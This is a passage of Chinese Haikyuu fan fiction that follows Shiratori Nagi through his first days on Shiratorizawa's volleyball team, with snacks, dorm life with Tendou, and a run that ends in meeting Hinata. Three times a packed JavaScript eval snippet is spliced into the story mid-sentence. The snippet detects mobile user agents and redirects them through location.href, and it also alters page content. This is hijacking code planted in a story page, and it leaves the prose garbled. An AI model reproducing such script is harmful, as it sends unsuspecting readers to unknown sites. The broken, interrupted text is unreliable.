即使是最简单直白的加法…… 这就是白鸟泽未来的三年。 二三年级的选手们终于清晰的认识到了这件事。 被后辈们的出色打击到的前辈们露出了沮丧的表情。 “要认输了吗？” 鹫匠锻治没有回头，却精准点出了少年们的心态。 前辈组猛地精神一振，微微弯下的腰重新立得笔直。 只是看到了后辈们的优秀，就要认输了吗？ 别开玩笑了。 或许他们之间隔着名为天赋的鸿沟，可不努力的话，这样的鸿沟只会将他们的差距越拉越大。 能够填平这鸿沟的，唯有努力罢了。 用汗水汇集成河，让努力扬帆起航。 他们白鸟泽的选手，绝不会不战而降。 鹫匠锻治微微侧过头，对上一双双燃着斗志的眼睛后，满意的转回头。 这才对。 从身后追赶而来的后辈，为他们带来了仿佛下一秒就会超越他们的危机感。 这份危机感应该成为他们前进的燃料，而不是成为绊向后辈的那只脚。 一年级选手的入部测试结束后，二年级、三年级依次进行基础测试。 一年级们有些惊讶的看向仿佛打了鸡血一样的前辈们。 刚才还表现得很沉稳冷静的前辈们，怎么一上场测试时突然变得这么燃了？ 前辈组：冲啊啊啊！不要被后浪拍在沙滩上啊！！！ 后辈组：不理解，但尊重，并在白鸟的带领下开始呱唧呱唧的鼓掌。 前辈们：呜呼！后辈们给我们鼓掌了！冲冲冲，向前冲！ 鹫匠锻治：……只是一次基础测试，又不是什么比赛，鼓什么掌！ 说你呢，阿凪！不要带头做一些奇怪的事！ 白鸟凪：学长们好棒！夸夸！ 很快，在前辈组充满斗志的参与下，白鸟泽全部选手完成测试，数据由齐藤明记录。 齐藤明：有好几个二三年级的选手突破了自己的最佳成绩……这就是后辈们的掌声力量吗？ 他偷偷记下了这个小技巧。 鹫匠锻治看了一下时间，慢慢出声道：“一年级留下打扫卫生，今天早点休息。” 白鸟泽排球部人很多，清洁工具不够，所以每一届都是一年级选手打扫卫生。 丸山藤点头，转身开始安排每个人的打扫任务。 白鸟凪拿到了拖把。 “好饿啊……”白鸟凪有点蔫，垂头丧气的沿着体育馆的四边拖地。 白鸟泽众惊讶的看着一边喊饿一边转圈拖地的白鸟凪，行动干脆又利落，看上去非常有劲。 “……根本看不出他很饿啊？”山形隼人疑惑挠头，十分不解。 被分配了擦排球任务的天童觉观察了一会儿，露出了神秘且奇怪的微笑：“不，他很饿了。” 吃饱了的白鸟凪会更活泼一些。 山形隼人：……怎么看出来的？ 牛岛若利专注的擦着排球，并没有加入他们的对话。 他还在迟钝的回味着今天的排球测试……好奇怪。 今天发生的一切都说不出的怪。 牛岛若利抬头，看向那个将一切正常变得反常的白鸟。 白鸟凪还在一边喊饿一边高效完成自己的工作。 直到大平狮音递出了第一份小面包。 白鸟凪像是被按了暂停键一样猛地停住动作，随即拎着拖把飘到大平狮音的面前，郑重表示：“狮音，你是天使吗？” 大平狮音微笑：“不是天使，这个牌子的面包吃吗？” 白鸟凪双手合十，像是在感谢来自伟大同期的馈赠：“吃的，我什么都吃。” 大平狮音脑袋里第一时间升起的念头是：真好养啊。 第二个念头是：怎么能从饲养的方向思考同期？我真该死啊。 当白鸟凪三两口就消灭了一块小面包、并向他投来小动物一样感激的视线时，大平狮音默不作声的又掏出来一块小面包。 饲、饲养同期什么的，只要他不说出来，就没问题吧！ 白鸟泽众人看到这一幕，沉默。 “是……错觉吗？”濑见英太喃喃道：“感觉大平头顶已经开始出现光圈了。” 身后的那是什么？天使的翅膀吗？？ 还有你白鸟，你就差摇尾巴了！ 两个小面包就把你征服了，你是什么笨蛋吃货吗？！ 山形隼人咋舌：“真是一幅美好的《天使投喂天鹅图》啊。” 天童觉在听到白鸟凪说“我什么都吃”的时候，红色的眼睛闪了闪，似乎想到了有趣的主意。 牛岛若利看着这一幕，平静道：“体育馆里不能吃东西。” 白鸟凪闻言，以一种令人难以理解的速度将新到手的小面包全部塞进嘴里，然后双手背后，一脸无辜的眼神乱瞟。 那样子仿佛在说：谁吃了？我没吃啊！ ……就差把心虚写脸上了。 牛岛若利沉默了片刻，气氛有些凝固。 就在众人紧张的以为他们两人之间会起冲突时，牛岛若利上前一步，接过白鸟凪的拖把，然后将一脸懵的白鸟凪推到了体育馆门口的台阶上。 白鸟泽众：等、等下，就这么把白鸟扫地出门了？？ 白鸟凪罪不至此啊！！ 对牛岛比较了解的大平狮音嘴角上扬，淡定的看着眼前这一幕。 “在这里吃。”牛岛若利淡淡出声，随即头也不回的拎着白鸟凪的拖把，开始吭哧吭哧的拖起地来。 白鸟凪嘴巴微张，难得有种手足无措的感觉。 “那个……”白鸟凪伸出手，也不知道在挽回什么，或许是拖把，或许是他的理智：“我已经没有很饿了，可以继续干活……” 两个小面包下肚，将他充到了最低电量，至少他不会再一边工作一边喊“我要没电啦，请尽快充电”！ 这是他在黑丰养成的习惯，每次他肚子饿的时候就会开启碎碎念，听到的队友们会迅速掏出早就准备好的零食，开始一个一个完成投喂。 围着体育馆吃一圈，白鸟凪就会将电量充满，再次精力充沛的开始干活。 没想到不知不觉中，将这个习惯也带到白鸟泽了…… 是白鸟泽带给他如在黑丰时一样的安全感吗？ 白鸟凪坐在门口发呆，一时间竟忘了他还要打扫体育馆卫生这件事。 而牛岛若利对白鸟的请求也充耳不闻，依旧我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187717|164125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行我素的闷头拖地。 天童觉看向另一个排球车里的排球，各个都擦得很干净，是牛岛若利加速完成的工作。 从白鸟凪喊饿时起，牛岛若利就沉默着加快了自己的工作速度。 天童觉在这样不起眼的小事中窥见了无形的、将他们慢慢捆绑在一起的线。 而崇尚快乐自由的他，面对这样的束缚，却丝毫没有挣扎的想法。 “我好像……来到了一个比想象中更有趣的乐园。”天童觉低声喃喃着，嘴角无意识的上扬。 白鸟凪很快就结束发呆，刚想站起身去接下牛岛手中的工作，发现自己的肩膀被人摁住了。 他抬头，是山形隼人。 “我没有带面包……这个可以吗？”山形隼人将奶酪棒塞进白鸟的手里：“勉、勉强能补充一点能量。” 山形隼人似乎很不擅长做这种事，别过头不去看白鸟的方向，小声嘀咕道：“真是的，要好好吃饭啊。” 虽然两人几乎没说过什么话，但山形隼人面对同期可怜兮兮的“饥饿警报”，还是选择了贡献出自己的一份力量。 反正以后也会成为朋友的……大概。 就算不是朋友，也不能看着同期饿死吧！ 山形隼人突然心情沉重。 白鸟凪看着山形变幻莫测的脸色，突然噗嗤一声笑了出来：“隼人，你人好好啊！” 山形隼人反应了一会儿，炸毛：“等下，你就这么叫我的名字了？” 我们之间是可以随意称呼名字的关系吗？这是我们第一次对话吧！ 白鸟凪比山形隼人还要惊讶：“不可以吗？你都给我好吃的了！” 他晃了晃手中的奶酪棒：“你一定是很喜欢我，才给我送好吃的！” 白鸟凪笑，露出一口雪白的牙：“谢谢你，我也很喜欢你，隼人。” 山形隼人落荒而逃。 不行不行，这款的他完全搞不定！ 太可怕了！这种社交悍匪真的太可怕了！ 什么喜欢不喜欢的……天呐，白鸟这家伙是怎么用那么轻松的语气说出这么羞耻的话的？ 看着脸色爆红跑得飞快的山形隼人，白鸟凪有些遗憾的摇摇头：“隼人是个很害羞的人呢。” 山形隼人的背影踉跄了一下，随即跑得更快了。 将这一幕尽收眼底的白鸟泽众：……不，再开朗的人站在你面前都会显得很内向吧！ 喜、喜欢什么的不要随便说出口啊喂！ 原本打算投喂的濑见英太突然踌躇起来，手里的包装袋捏得哗哗拉的响。 如果他上前投喂的话……白鸟这家伙不会也用超级大的声音说什么“英太你也喜欢我”这种可怕的话吧？ 啊，光想想鸡皮疙瘩都起来了。 濑见英太缓缓放下投喂的手，假装什么事都没发生过。 但聪明的白鸟同学嗅到了食物的味道。 一道白光唰的冲进体育馆，在濑见英太来不及将零食放回运动包的时候，闪现到了濑见英太面前。 濑见英太：……？ 白鸟凪真诚握住濑见英太的手——中零食，眼睛发射白鸟光波： “我就知道英太你也超喜欢我的！” 濑见英太像是触电一样松开了手，沉默的抱住了自己：“你你你赶紧吃！” 赶紧把那张会说出可怕的话的嘴堵上！ 小嘴巴，不说话！ 白鸟凪迈着开心的脚步，啪嗒啪嗒的跑回体育馆门口的台阶上，开始美滋滋的吃加餐。 充电充电，充满满的电！ 白鸟泽众惊魂未定的擦了擦额头上的冷汗——入部测试时，他们没有出汗，打扫卫生时，他们也没有出汗。 而现在，他们表情复杂的看向坐在门口台阶上的白鸟背影，擦去了额头上的冷汗。 白鸟凪，可怕！ 17. 晚安君 白鸟泽排球部的人在完成体育馆卫生打扫后，一起结伴返回宿舍。 他们都是住校生，毕竟白鸟泽住校环境还不错，食堂也很好吃，还能节省上学放学的通勤时间。 “诶——你和天童是同一间宿舍啊！”山形隼人有些惊讶。 白鸟凪得意一笑：“我在1班，小红在2班，这都能住到一起，很厉害的缘分吧！” 濑见英太忍不住出声：“小红是……？” 天童觉脚步轻快，指了指自己：“小红。” 又指了指白鸟凪：“小白！” 濑见英太看了看他们的发色，沉默。 真是好简单直接的起昵称方式…… 几人一路说说笑笑的返回寝室，在短暂的路程中将友谊再次升温。 互相认了认对方的寝室门后，白鸟凪打开他和天童的寝室门，以一种“万岁”的姿势冲进了房间： “我回来啦！” 天童觉见状，也开开心心的举起双臂摆出“万岁”的姿势紧随其后：“我也回来啦！” 先进门的白鸟凪转身，做出一个邀请的手势：“欢迎回来。” 两人对视一眼，随即哈哈大笑出声。 他们的门还没有关上，清脆爽朗的笑声在走廊里回荡。 “两位，不管发生了什么好笑的笑话，也请关上门再笑吧！” 对面寝室打开门，门缝里露出一张笑意吟吟的脸：“或者让我们也听听笑话？” 白鸟凪和天童觉瞬间噤声，老老实实的道歉后关上了门。 两人再次对视，又莫名其妙的笑了起来。 少年听着从紧闭着的门中透出来的笑声，隐隐约约，已经听不真切。 “是什么开心的事啊……”少年低声嘀咕着，像是被笑声传染了一样，嘴角始终上扬着。 …… 天童觉履行了自己的承诺，将自己带来的巧克力拿出来，和白鸟凪分享。 两人在干净的地板上盘着腿相对而坐，中间摆着各种各样包装的巧克力，和一个巨大的正方形零食盒子。 零食盒子是白鸟凪用袋子装好拎过来的——因为这个盒子太大，所以并没有放进行李箱里。 盒子里面塞得满满当当，全都是各种各样的零食。 “好好吃！”白鸟凪先将自己的零食盒子推到中间，然后很不客气的挑了一个包装最符合他审美的巧克力，撕开包装纸，一口下去，整个人都升华了。 天童觉看着美味到半个魂都飘出来的白鸟，连忙摆摆手：“喂喂，也没有好吃到会死掉的程度吧？” 白鸟凪淡定的抬起手，将自己飘到半空中的魂又摁回身体里。 如果白布贤二郎在这里，一定会用眼神吐槽：这里是什么搞笑漫片场吗？给我科学一点啊混蛋白鸟学长！ 但很可惜，这里并没有吐槽役。 天童觉完全没有察觉到“将魂摁回身体里”这件事槽点太多，反而欣慰的点点头：“好厉害。” 如果能将魂魄拍回身体里，那么只要将手放在头顶，也是某种意义上的永生了（不是）。 天童觉食量很小，口味偏甜，所以只是从零食盒子里拿了块小小的水果糖丢进嘴里。 和印象里甜到发腻的水果糖不同，这个糖果更注重水果的清甜，在舌尖化开时，像是鲜榨果汁在嘴里炸开一样。 他眼睛微亮，想起白鸟凪递给影山飞雄那一兜子的水果糖：“这是什么牌子的糖？” 白鸟凪看他从零食盒子里的众多零食中掏出来的糖果，露出了一副你很有眼光的表情：“那个是我妈妈做的糖。” 白鸟凪从小就很容易饿，需要在衣兜里揣一些零食来补充体能，其中他最喜欢的就是糖果——小孩子喜欢吃甜很正常。 但白鸟千代却很担心儿子的牙齿会坏掉，所以不仅严格控制他的糖果摄入量，还每天盯着白鸟凪清洁牙齿，并且研究了许久怎么才能让糖果好吃又低糖。 白鸟家有一条小小的生产线，专门为白鸟凪一个人制作各种各样的糖果，其中糖果的配方是白鸟千代和营养师们一起研究的。 因为不需要考虑量产、成本和保质期，同时倾注了一位母亲满满的爱意，所以这条生产线上的糖果会永远符合白鸟凪的口味。 天童觉想，这是白鸟凪第二次在他面前提起他的妈妈了，他一定很爱他的妈妈。 白鸟凪：是的，我超爱她！ 两人一边吃一边聊，时间很快就到了深夜十点。 洗漱过后，钻进被窝。 白鸟凪第一次住上下铺，一想到他的床铺下还有一个人，就兴奋得睡不着觉。 “小红，你睡了吗？” “还没，怎么了？” “我睡不着。” “……要我给你唱安眠曲吗？” 天童觉只是想逗逗白鸟凪，没想到白鸟凪毫不犹豫的应声：“可以吗？真的太好了，非常感谢！” 天童觉：……你还真是一点都不客气啊。 虽然心里吐槽，但他还是清了清嗓子，奇怪的音调配合他放缓后莫名温柔的声线，在黑暗中碰撞出了奇异的旋律。 “在那里睡呢？” “大象睡在地上。” “在哪里睡呢？” “小鸟睡在树上。” 白鸟凪迷迷糊糊的合上双眼，睡前的最后一个念头，是小红的声音可真好听啊。 听到他的呼吸声慢慢变得均匀，天童觉在黑暗中翻了个身，合上眼睛。 晚安，小白，小白鸟。 …… 一觉醒来，神清气爽。 白鸟凪坐在床上缓了许久，才意识到自己目前正在住校，头顶上那离自己极近的确实是天花板，自己手臂搭在了上铺的围栏上——这算得上是他的救命恩栏了。 他回想起自己过分热闹的梦，擦了擦额头吓出来的冷汗：“幸好幸好，我昨天晚上做梦梦见的是鱼跃，最多在床上蠕动两下。” 如果是翻跟头的话，这围栏可拦不住他。 天童觉抬头：“安心，你昨天晚上肯定很老实。” 白鸟凪歪头：“你没睡觉？” 天童觉打了个哈欠：“我睡了，睡得很好——我睡觉很轻，如果你睡觉时弄出了一点点声响，我都会醒。” 这也是他笃定白鸟凪没有翻身动作的理由。 白鸟凪睡相应该非常好，才能让他有这样的高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187718|164125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 质量睡眠。 天童觉站起身，身材高挑的他只要站直身体，就可以轻松将手臂搭在上铺的床边。 他仰头看着白鸟凪，笑眯眯道：“我在开学前担心了很久，怕匹配到合不来的室友——是小白，真的太好了。” 白鸟凪只觉得心脏像是被轻轻撞了一下，酸酸的。 睡觉非常轻的天童觉，在这间寝室等待着未知的室友时，担心了很久吧。 白鸟凪很庆幸，自己是个睡相很好很安静的人——关于这件事，他还真是第一次知道。 毕竟他从很小很小的时候就自己一个人睡了，也没有在意过自己睡前和醒后的位置变化。 “你捡到宝了。”白鸟凪认真的看向天童觉：“我可不止睡相好这一个优点。” 天童觉忍不住笑道：“我确实捡到宝了。” 天呐，白鸟凪怎么可以这么有趣！ “现在几点了？” “呀，7点半了。” “你在‘呀’什么！8点上课啊小红！！！” “是哦。” 两人面面相觑三秒，随即光速冲向公共洗漱间。 在上课铃声响起的前一秒，白鸟凪十分极限的坐在了自己的座位上。 他长舒一口气，轻轻擦去额头的薄汗，动作优雅大方，不像是差点迟到的笨蛋学生，更像是参加了重要舞会的优雅骑士。 濑见英太嘴角微抽，低声道：“你怎么回事？正式上课的第一天就差点迟到？” 白鸟凪看着紧随他身后走进门的班主任，嘴角始终挂着礼貌温和的微笑：“我也没想到人生第一次住宿舍，会对我的睡眠质量有这么大的提升。” 他以为自己会翻来覆去许久，久到住在他下铺的小红会对着他的床板来上一脚，他才能老老实实的入睡。 没想到小红的哄睡儿歌就像是催眠曲一样，轻轻松松就将他送入梦乡了。 感受到班主任那恐怖的视线，白鸟凪微微坐直了身体，拿出了好好学生认真听课的态度。 班主任有些心累的移开视线。 “同学们，今天我要讲的是……” 一天的课程结束，白鸟凪收拾好书包，拎起了运动包。 “英太，阿仁，我们走吧！”白鸟凪叫上同班的两个队友，一起去体育馆。 濑见英太还是有点不适应才认识一天就叫名字，但他并不讨厌白鸟凪，所以在努力适应：“走吧，阿——凪。” 白鸟凪纠正他：“不是阿——凪，是阿凪。” 濑见英太：……不用你纠正我也知道该怎么发音！ 很果断的恼羞成怒了。 相比于濑见英太的不自在，添川仁则是淡定许多：“阿凪，你得允许濑见害羞。” 白鸟凪恍然大悟：“原来是害羞啊，那确实没办法了，英太，我允许你叫我阿——凪。” 濑见英太：……我没有害羞！ “赶紧走，混蛋阿凪和混蛋添川。”濑见英太没好气的出声，加上一个“混蛋”形容词后，原本不太好意思叫出口的名字，也能顺利说出来了呢。 濑见英太疲惫微笑。 感觉这样心情复杂的日子还很漫长，是错觉吧…… 18. 太阳君 “大家下午好！” 人未到，声先至。 所有人都下意识看向门口，那个跨步走进体育馆的白发少年正扬着明媚的笑容，像是参加粉丝见面会的明星一样对他们招手： “我来啦！” 跟在他身后的濑见英太嘴角微抽。 虽然濑见英太也很喜欢万众瞩目的感觉，但他只会想着怎么通过在赛场上的表现赢得观众的注目，至于平时……他是绝对不会像白鸟凪一样开屏的。 而白鸟凪——他好像天生就擅长怎么吸引所有人的注意力，一举一动都热烈而张扬，像是骄傲的天鹅始终仰着头，向世界展示自己华丽的羽毛一样。 “把我衬成拎包小弟了，混蛋阿凪。”濑见英太小声嘀咕。 添川仁噗嗤一声笑了出来：“能说出这样的话，就说明你也站在舞台上啊。” 拎包小弟可不会觉得自己被“衬成”了拎包小弟。 只有站在同台竞技的明星，才会觉得自己被另一个明星压了一头。 濑见这家伙啊，有很强的竞争意识呢。 添川仁嘴角上扬，露出乐子人的笑容。 哎呀，这不是很有趣嘛！ 好朋友就是要互相竞争，一起开屏！ 上吧，濑见，去开屏吧！ 濑见英太莫名的后背一凉，谨慎的向右挪了一小步，远离添川仁。 他从添川仁的身上感受到了危险的气息。 白鸟凪没有注意到身后的嘀嘀咕咕，他快步走进人群，几句话的时间就成功加入群聊。 看着无论什么话题都能接上两句的白鸟凪，山形隼人眉头微挑，眼神中隐隐带着探究。 昨天他被白鸟凪的直球撞晕了头，只顾着该怎么逃离“你送我好吃的，你一定超喜欢我”这个可怕的等式，完全没有去观察白鸟凪是个怎样的人。 山形隼人决定，今天他一定要好好观察白鸟这个家伙，争取做到“知己知彼，成为知己”！ 化被动为主动，掌握交友的主动权！ 山形隼人，燃起来了！ 牛岛若利看向他身边安静燃烧着斗志的山形隼人，眼里满是困惑。 为什么突然就燃起来了？发生了什么他不知道的事吗？ 直到队长丸山藤的到来，终止了队员们之间的闲聊。 “列队，热身。”丸山藤平静道。 众人齐刷刷的站好队，几十人的队伍，每人前后间隔一米、左右间隔两米半，可以轻松组成一个很壮观的矩阵。 白鸟凪第一次参加人数如此多的社团，有些新奇的左顾右盼，一副没见过世面的样子。 黑丰排球部是他一手“拉扯”大的社团，最初在他国一的时候，只是勉强凑齐了参加比赛的人数，其中有三个人只在体育课上接触过排球。 后来有了白布的加入，再加上和他同期的选手们飞速成长起来，黑丰排球部才渐渐跻身进宫城县国中排球强校的行列。 白鸟凪一边走神一边完成热身动作。 当初那些辛苦的工作，如今回忆起来却完全想不起当时的疲惫，只记得那时候的他非常开心，每天上学的脚步都是轻松惬意的。 果然，人生中的每一段经历，都是值得收藏的珍贵宝藏啊。 接下来，他要和白鸟泽的大家一起，创造更多的珍贵宝藏了。 热身结束后，鹫匠锻治也出现在体育馆内。 白鸟泽高中排球部和大部分人数较多的社团一样，会将选手们分为一军和二军，方便按照选手的水平执行不同的训练计划。 一军包括替补选手在内的12名正选选手，其余选手则是二军。 由于一军中有一部分选手是上一届的毕业生，所以此时一军空出了七个位置。 “一年级选手和二军一同训练，一周后会通过队内排位赛来决定你们最终的位置。” 鹫匠锻治声音严酷而冷厉：“之后的队内排位赛会按照两个月一次的频率进行。” “想要上场比赛的话，就给我将首发踹成替补，将一军踹去二军。” 一军的二三年级们顿时后背一紧，像是被危险的猛兽盯住了一样。 在他们的身后，一年级的后辈们正虎视眈眈的盯着前辈们——的一军首发位置。 一周后，他们就可以将一军的前辈踹下来取而代之了？ 下克上，好激动！ 鹫匠锻治嘴角上扬，邪恶的老白鹫慢吞吞道：“一军的选手，如果不想被后辈踹出一军，那就拼命的练习吧。” 偷懒就会落后，落后就要被踹出一军。 一军选手的后背更凉了，额头开始渗出冷汗。 绝对——不要被后辈踹出一军！ 鹫匠锻治看着选手们升起的斗志，满意的点点头。 不能激起队内前后辈的矛盾，但是可以激起队内选手的竞争意识和危机感。 健康的队内竞争和适当的危机感，是选手们成长路上的重要养料。 “绕校跑训练，开始。” 三年级队长丸山藤带队一军，三年级副队长大冢雅人带队二军，出发训练。 很快的，体育馆内就只剩下了鹫匠锻治和齐藤明。 “鹫匠教练，一周后的队内排位赛，您觉得一年级有几个能升上一军呢？”齐藤明有些好奇。 鹫匠锻治双手插兜，佝偻着腰，眼里闪过一丝精明：“至少八成。” 齐藤明倒吸一口冷气：“这么多？！” 虽然这一届的一年级选手个人实力很强，但只有一周的时间，也不够他们完成队伍磨合吧？ 白鸟泽的队内排位赛是由二军选手的排列组合挑战正选队伍的排列组合，根据每名选手的表现，择优升入一军。 在这样残酷的赛制下，一年级的选手们能否冲破高年级前辈的默契压制和经验优势，打出精彩的表现呢？ 齐藤明眼里再次闪烁起明灭不定的光彩。 鹫匠锻治瞥他一眼，凉凉道：“要不要搓搓手表示期待啊？” 齐藤明轻咳一声，表情变得正经：“真期待选手们的表现。” 鹫匠锻治冷哼一声，当他不知道齐藤明的恶趣味？ 当白鸟凪出现在体育馆、而他在此之前半点信息也没收到的时候，他就知道齐藤明藏在心底的促狭性格又悄悄冒头了。 至于他自己吩咐了齐藤明全权负责白鸟凪入学的事……鹫匠锻治会选择性遗忘。 校外，白鸟凪像是冲破笼子的鸟一样，简单确认了一下路线后，就一溜烟的跑没影了。 大冢雅人伸出手，尝试挽回：“白鸟！记得回来的路线啊！！” 现在跑得这么快，等回程的时候会累死的，绝对会累死的！ 他的话慢了一步，最后一个字落下时，大冢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187719|164125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雅人已经看不清白鸟凪的背影了。 大冢雅人：……白鸟怎么回事？撒手就没？ 牛岛若利眯着眼睛，看着那个渐行渐远的背影，出声道：“大冢学长，可以自行配速吗？” 大冢雅人：……一个两个的都嫌我的配速慢是吧！ “去吧去吧。”大冢雅人疲惫脸：“拿好我的手机号，丢了的话随便找个电话亭给我打电话。” 原本是怕后辈掉队时他没注意到，所以安排的备用计划，没想到后辈们个个都想跑在他前面。 大冢雅人沉重的想：后浪太猛了，前辈已经被拍死在沙滩上了！ 牛岛若利得到许可后，也慢慢开始提速，直至消失在街头。 濑见英太举手：“大冢学长，我也……” 大冢雅人：“去吧。” 大平狮音：“我……” 大冢雅人：“去。” 几分钟后，二军只剩下了几个高年级的选手，以及零星的一年级选手。 大冢雅人面无表情：“天童，添川，你们不出发吗？” 天童觉笑眯眯道：“我可以再跑慢点吗？” 添川仁耸耸肩：“这个速度刚好，再快就要累死了。” 大冢雅人：一年级还是有正常的后辈的！ 好感动！ 二军其他人：……不要这么轻易的感动啊！ …… 白鸟凪从小就很喜欢跑步。 听着耳边的风声，感受心脏的跳动，仿佛将所有的烦恼都远远甩在了身后，只剩下运动时产生的多巴胺带来的快乐。 所以他一不小心跑偏了方向，来到一个陌生的地方，似乎也很正常。 “……我从来都没有迷路过。”白鸟凪一边调整呼吸一边握拳：“虽然不知道这是哪里，但我只要原路返回，就一定能找回白鸟泽！” 完美的白鸟大人不可能会迷路！ “啊，是排球鞋！” 一道惊喜的声音响起，让白鸟凪有些茫然的四处张望，最终低下头，看到了眼前的橘毛小不点。 诶？小学生？ 橘毛小不点指了指他脚上的鞋，然后又抬头，眼睛布灵布灵的看着他，像是两个小小的太阳镶嵌在眼眶中一样闪闪发光：“你会打排球吗？” 声音里满是雀跃和期待。 白鸟凪在这样的目光中，缓缓站直了身体，努力压抑住自己急促的呼吸，骄傲道： “没错，我就是曾经的黑丰王牌、如今的白鸟泽未来王牌，全能主攻手白鸟凪！” 惊叹吧，小不点！ 橘毛小不点激动的鼓掌，声音大得白鸟凪怀疑他会不会手掌都拍红了。 其实他并没有听说过白鸟凪的名字，但这并不妨碍他捧场。 “我叫日向翔阳，是雪之丘中学的学生，梦想是成为一名王牌选手，就像小巨人一样！” 白鸟凪很认真的为他鼓掌：“很好很好，很有志气——等等，雪之丘中学？” 日向翔阳歪头：“有什么不对吗？” 白鸟凪嘴角微动：“雪之丘……这不是邻镇那所中学吗？” 他怎么跑到邻镇了？ “……等下，你是国中生？不是小学生？！！”白鸟凪大为震撼。 日向翔阳：……我是国中生，怎么啦！ 有问题吗！ 小太阳龇牙。 19. 如改君 就算国二生日向翔阳只有一米五出头，也完全没有问题。 白鸟凪对日向翔阳的小巨人梦表示肯定：“那很厉害啊！” 日向翔阳微怔：“很……厉害？” 白鸟凪伸手比划了一下日向的高度，又比划了一下比自己还要高的高度： “你想啊，你要以这样小小的身高，和比我还要高的人同台竞技，这难道不是很厉害的事吗？” 事实上，就算他有一米八的身高，在排球场上也照样是个小个子——当然，他还在生长期，还在长身高呢！ 未来突然猛窜到两米也不是没可能啊！ 白鸟凪开始做梦。 他看着日向翔阳那毛茸茸的橘色脑袋，很想伸手搓一把。 他这么想，也这么做了。 白鸟凪一边搓着手感极好的橘脑袋，一边笑眯眯道：“在巨人之森里飞翔的小巨人，非常帅气。” 日向翔阳原本有些凌乱的头被搓得更乱，他却没有反抗，只是声音很小的问道： “白鸟前辈不会觉得很异想天开吗……我这样的身高却想做攻手什么的……” 白鸟凪眨眨眼：“可是有人做到了吧，你口中的那个小巨人。” 他看过宫城县内所有排球强校近两年的比赛录像，他知道日向口中说的那位小巨人是谁。 乌野高中宇内天满，以一米七的身高飞翔在排球场上，带领乌野冲出宫城县，踏上了全国大赛的赛场。 强如白鸟泽，在当年也不过是宇内天满的手下败将。 日向翔阳，是有着明确的方向和目标的人。 他心目中的偶像，可以成为他成长路线的明灯。 日向翔阳眼睛一亮，重重点头：“嗯！小巨人就很厉害！” 白鸟凪又搓了两下橘脑袋，才遗憾的放下手：“看来，你未来会成为一只小乌鸦。” 日向翔阳再次疑惑：乌鸦？ 白鸟凪却没有再解释，只是指了指回程的方向：“我还在部活训练中，得赶紧回去了，不然会被鹫匠教练揪着耳朵骂的。” 日向翔阳有些不舍：“好、好吧……” 白鸟凪看出了他的不舍，想了想后又道：“你带手机了吗？” 日向翔阳摇摇头：“没有……” 白鸟凪身上也没有纸笔，只好将训练开始前大冢学长交给他的手机号纸条，转赠给日向翔阳： “这是大冢学长的手机号，我没带纸笔，通讯号念一遍你大概也记不住。” 白鸟凪没忍住，又笑着搓了搓日向的橘脑袋，手感一级棒：“等你回家后，打这个电话，大冢学长会将我的通讯号告诉你。” 很抱歉，大冢学长，要麻烦你当一下中转站了。 “有任何问题都欢迎你来问我，我是无所不能的白鸟大人。” 白鸟凪骄傲道：“什么都难不倒我。” 日向翔阳眨眨眼，压下眼底泛起的热气，用力点头：“我知道了，白鸟前辈！” 他碰到迷路又心软的神了！ 白鸟凪帅气转头，刚迈出一步，肚子便咕噜咕噜的叫了起来。 白鸟凪：……整段垮掉。 没出息的胃！平时也没饿到你，怎么今天就叫起来了！ 胃：谜底就在迷面上，平时我吃得饱，不饿啊！ 白鸟凪捂着肚子，一脸真诚：“翔阳，你知道附近的便利店在哪个位置吗……顺便一提，我不止没带手机，我还没带钱包。” 跑步的时候衣兜里揣什么都很不舒服，所以…… 下次一定会带上钱包的，一定！ 日向翔阳了然的点点头：“我请白鸟前辈吃！包子可以吗？” 白鸟凪一脸感动的看向日向翔阳：“没问题，我不挑食的，谢谢你，翔阳！” 好孩子好孩子！ 日向翔阳一边带着白鸟前辈前往便利店，一边胡思乱想：突然就被称呼名字了呢…… 白鸟前辈真是一个很可爱很好懂的人！ 五分钟后，两人到达便利店。 白鸟凪吃了七个大包子后，心满意足的揉了揉肚子：“感谢款待！” 日向翔阳的脑袋里闪过和黑丰众、白鸟泽众一样的念头：白鸟前辈真好养啊。 白鸟凪笑眯眯道：“下次我请你吃，你喜欢猪排饭吗？” 日向翔阳竖起大拇指：“如果加个鸡蛋的话，就是世界上最棒的美味！” 白鸟凪伸出手掌：“那就这么决定了，下次请你吃猪排饭拌鸡蛋！” 日向翔阳和白鸟前辈击掌：“好耶！” 便利店路过的客人忍不住向他们投来善意的目光。 少年之间的友谊总是这么有趣又莫名其妙呢。 白鸟凪借了便利店的电话，打给大冢学长。 电话另一边的大冢雅人急得跳脚：“你好，这里是大冢……白鸟？！！你跑哪里去了！！” 